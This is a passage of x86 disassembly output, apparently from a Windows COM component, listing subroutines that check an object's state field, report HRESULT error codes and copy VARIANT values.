		lea	eax, [esi+2Ch]
		push	eax
		call	sub_69B17320
		push	edi
		lea	eax, [esi+30h]
		push	eax
		call	sub_69B17320
		push	edi
		lea	eax, [esi+50h]
		push	eax
		call	sub_69B17320
		push	edi
		lea	eax, [esi+54h]
		push	eax
		call	sub_69B17320
		mov	[esi+58h], edi
		pop	edi
		mov	ecx, esi
		pop	esi
		jmp	sub_69B46A13
sub_69B47172	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B471C0	proc near		; CODE XREF: sub_69B47254+1Ep
		push	1Ch
		push	offset dword_69B47248
		call	sub_69B19C5C
		mov	esi, ecx
		mov	[ebp-1Ch], esi
		call	dword_69B92948
		mov	[ebp-20h], eax
		test	eax, eax
		jnz	short loc_69B471E5
		mov	eax, 80004005h
		jmp	short loc_69B47241
; ---------------------------------------------------------------------------


loc_69B471E5:				; CODE XREF: sub_69B471C0+1Cj
		push	0
		lea	ecx, [ebp-2Ch]
		call	sub_69B11D3B
		and	dword ptr [ebp-4], 0
		mov	ecx, esi
		call	sub_69B46D44
		mov	ecx, esi
		call	sub_69B47172
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_69B4721A
; ---------------------------------------------------------------------------


loc_69B47207:				; DATA XREF: .text:69B4724Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B47210:				; DATA XREF: .text:69B47250o
		mov	esp, [ebp-18h]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	esi, [ebp-1Ch]


loc_69B4721A:				; CODE XREF: sub_69B471C0+45j
		mov	ecx, [esi+1Ch]
		test	ecx, ecx
		jz	short loc_69B4722B
		push	esi
		call	sub_69B3B4D3
		mov	esi, eax
		jmp	short loc_69B4722E
; ---------------------------------------------------------------------------


loc_69B4722B:				; CODE XREF: sub_69B471C0+5Fj
		xor	esi, esi
		inc	esi


loc_69B4722E:				; CODE XREF: sub_69B471C0+69j
		lea	ecx, [ebp-2Ch]
		call	sub_69B1976C
		push	dword ptr [ebp-20h]
		call	dword_69B92944
		mov	eax, esi


loc_69B47241:				; CODE XREF: sub_69B471C0+23j
		call	sub_69B1853C
		retn
sub_69B471C0	endp

; ---------------------------------------------------------------------------
		align 4
dword_69B47248	dd 0FFFFFFFFh			dd offset loc_69B47207
		dd offset loc_69B47210

; =============== S U B	R O U T	I N E =======================================



sub_69B47254	proc near		; CODE XREF: sub_69B4734C+5j
					; sub_69B47356+5j
					; DATA XREF: ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		lea	esi, [edi+0Ch]
		mov	ecx, esi
		call	sub_69B18E54
		mov	ecx, esi
		call	sub_69B19038
		cmp	eax, 1
		jnz	short loc_69B4727B
		mov	ecx, edi
		call	sub_69B471C0
		test	eax, eax
		jz	short loc_69B47282


loc_69B4727B:				; CODE XREF: sub_69B47254+1Aj
		mov	ecx, esi
		call	sub_69B19038


loc_69B47282:				; CODE XREF: sub_69B47254+25j
		pop	edi
		pop	esi
		retn	4
sub_69B47254	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B47287	proc near		; CODE XREF: sub_69B472C5+31p
					; sub_69B473F6+13j ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi+58h]
		dec	eax
		dec	eax
		jz	short loc_69B472AA
		dec	eax
		jz	short loc_69B4729A
		dec	eax
		dec	eax
		jz	short loc_69B472B1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_69B4729A:				; CODE XREF: sub_69B47287+Bj
		mov	dword ptr [esi+58h], 4
		mov	esi, [esi+20h]
		or	dword ptr [esi+58h], 20h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_69B472AA:				; CODE XREF: sub_69B47287+8j
		mov	ecx, esi
		call	sub_69B46D44


loc_69B472B1:				; CODE XREF: sub_69B47287+Fj
		mov	eax, [esi+30h]
		test	eax, eax
		jz	short loc_69B472BC
		and	dword ptr [eax+8], 0


loc_69B472BC:				; CODE XREF: sub_69B47287+2Fj
		mov	dword ptr [esi+58h], 1
		pop	esi
		retn
sub_69B47287	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B472C5	proc near		; DATA XREF: .text:69B126E8o
		push	18h
		push	offset dword_69B47340
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	esi, esi
		cmp	eax, esi
		jnz	short loc_69B472E7
		mov	eax, 80004005h
		jmp	short loc_69B47334
; ---------------------------------------------------------------------------


loc_69B472E7:				; CODE XREF: sub_69B472C5+19j
		push	esi
		lea	ecx, [ebp-28h]
		call	sub_69B11D3B
		mov	[ebp-4], esi
		mov	ecx, [ebp+8]
		call	sub_69B47287
		jmp	short loc_69B4731D
; ---------------------------------------------------------------------------


loc_69B472FD:				; DATA XREF: .text:69B47344o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B47306:				; DATA XREF: .text:69B47348o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	esi, eax


loc_69B4731D:				; CODE XREF: sub_69B472C5+36j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, esi


loc_69B47334:				; CODE XREF: sub_69B472C5+20j
		call	sub_69B1853C
		retn	4
sub_69B472C5	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B47340	dd 0FFFFFFFFh			dd offset loc_69B472FD
		dd offset loc_69B47306

; =============== S U B	R O U T	I N E =======================================



sub_69B4734C	proc near		; DATA XREF: .text:69B281E4o

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 4
		jmp	sub_69B47254
sub_69B4734C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B47356	proc near		; DATA XREF: .text:69B281A4o

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 18h
		jmp	sub_69B47254
sub_69B47356	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B47360	proc near		; CODE XREF: sub_69B47BDC+37p
		push	esi
		mov	esi, ecx
		call	sub_69B470AF
		xor	eax, eax
		mov	dword ptr [esi], offset	off_69B126A8
		mov	dword ptr [esi+4], offset off_69B281DC
		mov	dword ptr [esi+0Ch], offset off_69B281D8
		mov	dword ptr [esi+18h], offset off_69B2819C
		mov	[esi+1Ch], eax
		mov	[esi+20h], eax
		mov	[esi+24h], eax
		mov	[esi+28h], eax
		mov	[esi+2Ch], eax
		mov	[esi+30h], eax
		mov	[esi+34h], eax
		mov	[esi+38h], eax
		mov	[esi+50h], eax
		mov	[esi+54h], eax
		mov	eax, esi
		pop	esi
		retn
sub_69B47360	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B473A7	proc near		; CODE XREF: sub_69B47BDC+4Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	edi
		lea	eax, [esi+40h]
		push	eax		; pvarg
		call	VariantInit
		mov	ecx, esi
		call	sub_69B47172
		push	[esp+8+arg_0]
		call	sub_69B48A77
		mov	edi, eax
		push	edi
		call	sub_69B3B47B
		push	[esp+8+arg_0]
		lea	eax, [esi+34h]
		push	eax
		call	sub_69B17320
		call	sub_69B6F741
		push	eax
		add	esi, 20h
		push	esi
		call	sub_69B17320
		mov	ecx, [esi]
		push	edi
		call	sub_69B6EDDE
		pop	edi
		pop	esi
		retn	4
sub_69B473A7	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B473F6	proc near		; CODE XREF: sub_69B475B7+135p
		mov	eax, [ecx+58h]
		test	eax, eax
		jl	short loc_69B47412
		xor	edx, edx
		inc	edx
		cmp	eax, edx
		jle	short loc_69B4740E
		cmp	eax, 5
		jnz	short loc_69B47412
		jmp	sub_69B47287
; ---------------------------------------------------------------------------


loc_69B4740E:				; CODE XREF: sub_69B473F6+Cj
		mov	[ecx+58h], edx
		retn
; ---------------------------------------------------------------------------


loc_69B47412:				; CODE XREF: sub_69B473F6+5j
					; sub_69B473F6+11j
		push	0
		push	0C00CE229h
		push	80004005h
		call	sub_69B2E9D0
		add	esp, 0Ch
		retn
sub_69B473F6	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B47427	proc near		; CODE XREF: sub_69B475B7+13Fp
					; sub_69B475B7+165p
		push	esi
		mov	esi, ecx
		mov	eax, [esi+58h]
		test	eax, eax
		jl	short loc_69B47446
		cmp	eax, 1
		jle	short loc_69B47440
		cmp	eax, 5
		jnz	short loc_69B47446
		call	sub_69B47287


loc_69B47440:				; CODE XREF: sub_69B47427+Dj
		and	dword ptr [esi+58h], 0
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_69B47446:				; CODE XREF: sub_69B47427+8j
					; sub_69B47427+12j
		push	0
		push	0C00CE229h
		push	80004005h
		call	sub_69B2E9D0
		add	esp, 0Ch
		pop	esi
		retn
sub_69B47427	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4745C	proc near		; CODE XREF: sub_69B4778C+36p
					; sub_69B4789C+31p ...
		mov	eax, [ecx+58h]
		test	eax, eax
		jl	short loc_69B47471
		cmp	eax, 1
		jle	short locret_69B47485
		cmp	eax, 5
		jz	sub_69B47287


loc_69B47471:				; CODE XREF: sub_69B4745C+5j
		push	0
		push	0C00CE229h
		push	80004005h
		call	sub_69B2E9D0
		add	esp, 0Ch

locret_69B47485:			; CODE XREF: sub_69B4745C+Aj
		retn
sub_69B4745C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B47486	proc near		; CODE XREF: sub_69B4793C+59p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		mov	esi, ecx
		mov	eax, [esi+58h]
		test	eax, eax
		push	edi
		mov	ebx, 80004005h
		jz	short loc_69B474DE
		cmp	eax, 1
		jz	short loc_69B474F5
		cmp	eax, 2
		jz	short loc_69B474D5
		jle	loc_69B475B2
		cmp	eax, 4
		jle	short loc_69B474BC
		cmp	eax, 5
		jz	short loc_69B474EE
		jmp	loc_69B475B2
; ---------------------------------------------------------------------------


loc_69B474BC:				; CODE XREF: sub_69B47486+2Aj
		push	0
		push	0C00CE229h
		push	80004005h
		call	sub_69B2E9D0
		add	esp, 0Ch
		jmp	loc_69B475B2
; ---------------------------------------------------------------------------


loc_69B474D5:				; CODE XREF: sub_69B47486+1Fj
		mov	dword ptr [esi+58h], 3
		jmp	short loc_69B47517
; ---------------------------------------------------------------------------


loc_69B474DE:				; CODE XREF: sub_69B47486+15j
		push	0
		push	0C00CE228h
		push	ebx
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B474EE:				; CODE XREF: sub_69B47486+2Fj
		mov	ecx, esi
		call	sub_69B47287


loc_69B474F5:				; CODE XREF: sub_69B47486+1Aj
		mov	ecx, esi
		mov	dword ptr [esi+58h], 3
		call	sub_69B46CA6
		mov	edi, eax
		test	edi, edi
		jz	short loc_69B47517
		mov	ecx, esi
		call	sub_69B46D44
		mov	ecx, edi
		call	sub_69B2E875


loc_69B47517:				; CODE XREF: sub_69B47486+56j
					; sub_69B47486+81j
		mov	ecx, esi
		call	sub_69B46740
		cmp	dword ptr [esi+58h], 4
		mov	ecx, eax
		mov	[ebp+var_4], ecx
		jnz	short loc_69B47549
		mov	ecx, esi
		call	sub_69B46D44
		mov	ecx, esi
		call	sub_69B47287
		push	0
		push	0C00CE22Ah
		push	ebx
		call	sub_69B2E9D0
		add	esp, 0Ch
		jmp	short loc_69B4759F
; ---------------------------------------------------------------------------


loc_69B47549:				; CODE XREF: sub_69B47486+A1j
		test	ecx, ecx
		jz	short loc_69B47562
		call	sub_69B2E804
		cmp	eax, 8000000Ah
		jnz	short loc_69B4759F
		mov	dword ptr [esi+58h], 2
		jmp	short loc_69B475B2
; ---------------------------------------------------------------------------


loc_69B47562:				; CODE XREF: sub_69B47486+C5j
		mov	eax, [esi+2Ch]
		test	eax, eax
		mov	[ebp+var_8], eax
		jz	short loc_69B4759F
		mov	ebx, [esi+28h]
		xor	eax, eax
		push	0
		lea	edi, [ebp+var_10]
		stosd
		push	0
		stosd
		push	[ebp+var_C]
		mov	eax, [ebx]
		push	[ebp+var_10]
		push	ebx
		call	dword ptr [eax+14h]
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		push	ebx
		push	eax
		call	dword ptr [ecx+14h]
		test	eax, eax
		jge	short loc_69B4759F
		push	0
		push	eax
		call	sub_69B1D342
		mov	[ebp+var_4], eax


loc_69B4759F:				; CODE XREF: sub_69B47486+C1j
					; sub_69B47486+D1j ...
		mov	ecx, esi
		call	sub_69B46D44
		mov	ecx, [ebp+var_4]
		test	ecx, ecx
		jz	short loc_69B475B2
		call	sub_69B2E875


loc_69B475B2:				; CODE XREF: sub_69B47486+21j
					; sub_69B47486+31j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_69B47486	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B475B7	proc near		; DATA XREF: .text:69B126C4o
		push	48h
		push	offset dword_69B47780
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	esi, esi
		cmp	eax, esi
		jnz	short loc_69B475DC
		mov	eax, 80004005h
		jmp	loc_69B47771
; ---------------------------------------------------------------------------


loc_69B475DC:				; CODE XREF: sub_69B475B7+19j
		push	esi
		lea	ecx, [ebp-28h]
		call	sub_69B11D3B
		xor	ebx, ebx
		mov	byte ptr [ebp-29h], 1
		mov	[ebp-4], esi
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_69B885FF
		mov	[ebp-30h], eax
		cmp	ax, 0Dh
		jz	short loc_69B47611
		cmp	ax, 9
		jz	short loc_69B47611
		cmp	ax, 1
		jz	short loc_69B47611
		cmp	ax, si
		jnz	short loc_69B47635


loc_69B47611:				; CODE XREF: sub_69B475B7+47j
					; sub_69B475B7+4Dj ...
		push	esi
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_69B88597
		mov	[ebp-34h], eax
		cmp	eax, esi
		jz	short loc_69B47631
		push	eax
		call	sub_69B48A77
		mov	ebx, eax
		mov	[ebp-38h], ebx
		cmp	ebx, esi
		jz	short loc_69B47635


loc_69B47631:				; CODE XREF: sub_69B475B7+69j
		mov	byte ptr [ebp-29h], 0


loc_69B47635:				; CODE XREF: sub_69B475B7+58j
					; sub_69B475B7+78j
		cmp	byte ptr [ebp-29h], 0
		jz	loc_69B476E3
		call	sub_69B1BCCF
		mov	ebx, eax
		mov	[ebp-3Ch], ebx
		mov	eax, [ebp+8]
		mov	eax, [eax+1Ch]
		mov	[ebp-40h], eax
		mov	ecx, ebx
		lea	edx, [ebx+0Ch]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, edx
		push	ecx
		lea	ecx, [eax+1Ch]
		call	sub_69B89804
		push	1
		mov	ecx, ebx
		call	sub_69B1D6A4
		mov	byte ptr [ebx+82h], 0
		mov	byte ptr [ebx+8Ch], 0
		mov	byte ptr [ebx+83h], 0
		mov	eax, [ebx]
		lea	ecx, [ebp-44h]
		push	ecx
		push	offset stru_69B25E34
		push	ebx
		call	dword ptr [eax]
		push	eax
		call	sub_69B8861E
		mov	eax, [ebp-44h]
		mov	ecx, [eax]
		lea	edx, [ebp-48h]
		push	edx
		sub	esp, 10h
		lea	esi, [ebp+0Ch]
		mov	edi, esp
		movsd
		movsd
		movsd
		movsd
		push	eax
		call	dword ptr [ecx+0E8h]
		mov	[ebp-4Ch], eax
		mov	eax, [ebp-44h]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		mov	eax, [ebx+6Ch]
		mov	[ebp-50h], eax
		mov	[ebp-54h], eax
		test	eax, eax
		jz	short loc_69B476D2
		call	sub_69B2E860


loc_69B476D2:				; CODE XREF: sub_69B475B7+114j
		push	dword ptr [ebp-4Ch]
		call	sub_69B8861E
		mov	ebx, [ebx+4Ch]
		mov	[ebp-58h], ebx
		mov	[ebp-38h], ebx


loc_69B476E3:				; CODE XREF: sub_69B475B7+82j
		test	ebx, ebx
		jz	short loc_69B476F3
		mov	esi, [ebp+8]
		mov	ecx, esi
		call	sub_69B473F6
		jmp	short loc_69B476FE
; ---------------------------------------------------------------------------


loc_69B476F3:				; CODE XREF: sub_69B475B7+12Ej
		mov	ecx, [ebp+8]
		call	sub_69B47427
		mov	esi, [ebp+8]


loc_69B476FE:				; CODE XREF: sub_69B475B7+13Aj
		mov	ecx, esi
		call	sub_69B46A13
		lea	eax, [ebp+0Ch]
		push	eax		; pvargSrc
		lea	eax, [esi+40h]
		push	eax		; pvargDest
		call	VariantCopy
		mov	[ebp-4Ch], eax
		test	eax, eax
		jge	short loc_69B47729
		mov	ecx, esi
		call	sub_69B47427
		push	dword ptr [ebp-4Ch]
		call	sub_69B8861E


loc_69B47729:				; CODE XREF: sub_69B475B7+161j
		push	ebx
		lea	ecx, [esi+38h]
		call	sub_69B199CC
		and	dword ptr [ebp-4Ch], 0
		jmp	short loc_69B47759
; ---------------------------------------------------------------------------


loc_69B47738:				; DATA XREF: .text:69B47784o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B47741:				; DATA XREF: .text:69B47788o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-4Ch], eax


loc_69B47759:				; CODE XREF: sub_69B475B7+17Fj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-4Ch]


loc_69B47771:				; CODE XREF: sub_69B475B7+20j
		call	sub_69B1853C
		retn	14h
sub_69B475B7	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B47780	dd 0FFFFFFFFh			dd offset loc_69B47738
		dd offset loc_69B47741

; =============== S U B	R O U T	I N E =======================================



sub_69B4778C	proc near		; DATA XREF: .text:69B126D0o
		push	28h
		push	offset dword_69B47890
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_69B477B1
		mov	eax, 80004005h
		jmp	loc_69B47885
; ---------------------------------------------------------------------------


loc_69B477B1:				; CODE XREF: sub_69B4778C+19j
		push	edi
		lea	ecx, [ebp-28h]
		call	sub_69B11D3B
		mov	[ebp-4], edi
		mov	ebx, [ebp+8]
		mov	ecx, ebx
		call	sub_69B4745C
		mov	eax, [ebp+10h]
		cmp	eax, edi
		jz	short loc_69B477DB
		cmp	[eax], di
		jz	short loc_69B477DB
		push	eax		; lpString
		call	sub_69B2FADA
		jmp	short loc_69B477DD
; ---------------------------------------------------------------------------


loc_69B477DB:				; CODE XREF: sub_69B4778C+40j
					; sub_69B4778C+45j
		xor	eax, eax


loc_69B477DD:				; CODE XREF: sub_69B4778C+4Dj
		mov	[ebp-2Ch], eax
		mov	esi, [ebp+0Ch]
		cmp	esi, edi
		jz	short loc_69B4782E
		cmp	[esi], di
		jz	short loc_69B4782E
		lea	eax, [ebp-30h]
		push	eax
		push	esi
		call	sub_69B31F88
		test	al, al
		jz	short loc_69B477FF
		cmp	[ebp-30h], edi
		jz	short loc_69B47812


loc_69B477FF:				; CODE XREF: sub_69B4778C+6Cj
		push	edi
		push	0C00CE505h
		push	80070057h
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B47812:				; CODE XREF: sub_69B4778C+71j
		push	dword ptr [ebp-2Ch]
		push	esi		; lpString
		call	ds:lstrlenW	; lstrlenW
		push	eax
		push	esi
		call	sub_69B2FA09
		push	eax
		lea	ecx, [ebx+50h]
		call	sub_69B199CC
		jmp	short loc_69B47849
; ---------------------------------------------------------------------------


loc_69B4782E:				; CODE XREF: sub_69B4778C+59j
					; sub_69B4778C+5Ej
		cmp	eax, edi
		jz	short loc_69B4783C
		push	80070057h
		call	sub_69B2E8B8


loc_69B4783C:				; CODE XREF: sub_69B4778C+A4j
		lea	eax, [ebx+50h]
		mov	[ebp-34h], eax
		push	edi
		push	eax
		call	sub_69B17320


loc_69B47849:				; CODE XREF: sub_69B4778C+A0j
		mov	[ebp-38h], edi
		jmp	short loc_69B4786E
; ---------------------------------------------------------------------------


loc_69B4784E:				; DATA XREF: .text:69B47894o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B47857:				; DATA XREF: .text:69B47898o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	edi, eax


loc_69B4786E:				; CODE XREF: sub_69B4778C+C0j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, edi


loc_69B47885:				; CODE XREF: sub_69B4778C+20j
		call	sub_69B1853C
		retn	0Ch
sub_69B4778C	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B47890	dd 0FFFFFFFFh			dd offset loc_69B4784E
		dd offset loc_69B47857

; =============== S U B	R O U T	I N E =======================================



sub_69B4789C	proc near		; DATA XREF: .text:69B126DCo
		push	20h
		push	offset dword_69B47930
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	esi, esi
		cmp	eax, esi
		jnz	short loc_69B478BE
		mov	eax, 80004005h
		jmp	short loc_69B47927
; ---------------------------------------------------------------------------


loc_69B478BE:				; CODE XREF: sub_69B4789C+19j
		push	esi
		lea	ecx, [ebp-28h]
		call	sub_69B11D3B
		mov	[ebp-4], esi
		mov	ecx, [ebp+8]
		call	sub_69B4745C
		push	1
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_69B88597
		mov	[ebp-2Ch], eax
		push	eax
		mov	ecx, [ebp+8]
		call	sub_69B46AC0
		mov	[ebp-30h], esi
		jmp	short loc_69B4790F
; ---------------------------------------------------------------------------


loc_69B478EE:				; DATA XREF: .text:69B47934o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B478F7:				; DATA XREF: .text:69B47938o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-30h], eax


loc_69B4790F:				; CODE XREF: sub_69B4789C+50j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-30h]


loc_69B47927:				; CODE XREF: sub_69B4789C+20j
		call	sub_69B1853C
		retn	14h
sub_69B4789C	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B47930	dd 0FFFFFFFFh			dd offset loc_69B478EE
		dd offset loc_69B478F7

; =============== S U B	R O U T	I N E =======================================



sub_69B4793C	proc near		; DATA XREF: .text:69B126E4o
		push	18h
		push	offset dword_69B479F8
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_69B47961
		mov	eax, 80004005h
		jmp	loc_69B479F0
; ---------------------------------------------------------------------------


loc_69B47961:				; CODE XREF: sub_69B4793C+19j
		push	edi
		lea	ecx, [ebp-28h]
		call	sub_69B11D3B
		cmp	[ebp+0Ch], edi
		jnz	short loc_69B47987
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, 80070057h
		jmp	short loc_69B479F0
; ---------------------------------------------------------------------------


loc_69B47987:				; CODE XREF: sub_69B4793C+31j
		mov	esi, [ebp+8]
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+4]
		mov	[ebp-4], edi
		mov	ecx, esi
		call	sub_69B47486
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_69B479C7
; ---------------------------------------------------------------------------


loc_69B479A0:				; DATA XREF: .text:69B479FCo
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B479A9:				; DATA XREF: .text:69B47A00o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	edi, eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	esi, [ebp+8]


loc_69B479C7:				; CODE XREF: sub_69B4793C+62j
		xor	eax, eax
		cmp	dword ptr [esi+58h], 5
		setnz	al
		dec	eax
		mov	ecx, [ebp+0Ch]
		mov	[ecx], ax
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, edi


loc_69B479F0:				; CODE XREF: sub_69B4793C+20j
					; sub_69B4793C+49j
		call	sub_69B1853C
		retn	8
sub_69B4793C	endp

; ---------------------------------------------------------------------------
dword_69B479F8	dd 0FFFFFFFFh			dd offset loc_69B479A0
		dd offset loc_69B479A9

; =============== S U B	R O U T	I N E =======================================



sub_69B47A04	proc near		; DATA XREF: .text:69B126F0o
		push	28h
		push	offset dword_69B47AE0
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_69B47A29
		mov	eax, 80004005h
		jmp	loc_69B47AD2
; ---------------------------------------------------------------------------


loc_69B47A29:				; CODE XREF: sub_69B47A04+19j
		push	edi
		lea	ecx, [ebp-28h]
		call	sub_69B11D3B
		mov	[ebp-4], edi
		mov	esi, [ebp+8]
		mov	ecx, esi
		call	sub_69B4745C
		lea	eax, [ebp-2Ch]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	sub_69B31F88
		test	al, al
		jz	short loc_69B47A54
		cmp	[ebp-2Ch], edi
		jz	short loc_69B47A67


loc_69B47A54:				; CODE XREF: sub_69B47A04+49j
		push	edi
		push	0C00CE505h
		push	80070057h
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B47A67:				; CODE XREF: sub_69B47A04+4Ej
		add	esi, 54h
		mov	eax, [esi]
		mov	[ebp-30h], eax
		cmp	eax, edi
		jnz	short loc_69B47A80
		call	sub_69B4700D
		push	eax
		mov	ecx, esi
		call	sub_69B199CC


loc_69B47A80:				; CODE XREF: sub_69B47A04+6Dj
		mov	ecx, [esi]
		mov	[ebp-34h], ecx
		push	dword ptr [ebp+20h] ; int
		lea	eax, [ebp+10h]
		push	eax		; int
		push	dword ptr [ebp+0Ch] ; lpString
		call	sub_69B47043
		mov	[ebp-38h], edi
		jmp	short loc_69B47ABA
; ---------------------------------------------------------------------------


loc_69B47A99:				; DATA XREF: .text:69B47AE4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B47AA2:				; DATA XREF: .text:69B47AE8o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-38h], eax


loc_69B47ABA:				; CODE XREF: sub_69B47A04+93j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-38h]


loc_69B47AD2:				; CODE XREF: sub_69B47A04+20j
		call	sub_69B1853C
		retn	1Ch
sub_69B47A04	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B47AE0	dd 0FFFFFFFFh			dd offset loc_69B47A99
		dd offset loc_69B47AA2

; =============== S U B	R O U T	I N E =======================================



sub_69B47AEC	proc near		; DATA XREF: .text:69B126F4o
		push	24h
		push	offset dword_69B47BD0
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_69B47B11
		mov	eax, 80004005h
		jmp	loc_69B47BC2
; ---------------------------------------------------------------------------


loc_69B47B11:				; CODE XREF: sub_69B47AEC+19j
		push	ebx
		lea	ecx, [ebp-28h]
		call	sub_69B11D3B
		cmp	[ebp+0Ch], ebx
		jnz	short loc_69B47B3A
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, 80070057h
		jmp	loc_69B47BC2
; ---------------------------------------------------------------------------


loc_69B47B3A:				; CODE XREF: sub_69B47AEC+31j
		mov	[ebp-4], ebx
		mov	esi, [ebp+8]
		mov	ecx, esi
		call	sub_69B4745C
		add	esi, 54h
		mov	eax, [esi]
		mov	[ebp-2Ch], eax
		cmp	eax, ebx
		jnz	short loc_69B47B60
		call	sub_69B4700D
		push	eax
		mov	ecx, esi
		call	sub_69B199CC


loc_69B47B60:				; CODE XREF: sub_69B47AEC+65j
		mov	edi, [ebp+10h]
		cmp	edi, ebx
		jz	short loc_69B47B6C
		cmp	[edi], bx
		jnz	short loc_69B47B76


loc_69B47B6C:				; CODE XREF: sub_69B47AEC+79j
		push	80070057h
		call	sub_69B2E8B8


loc_69B47B76:				; CODE XREF: sub_69B47AEC+7Ej
		mov	ecx, [esi]
		mov	[ebp-30h], ecx
		push	edi		; lpString
		push	dword ptr [ebp+0Ch] ; int
		call	sub_69B4707B
		mov	[ebp-34h], ebx
		jmp	short loc_69B47BAA
; ---------------------------------------------------------------------------


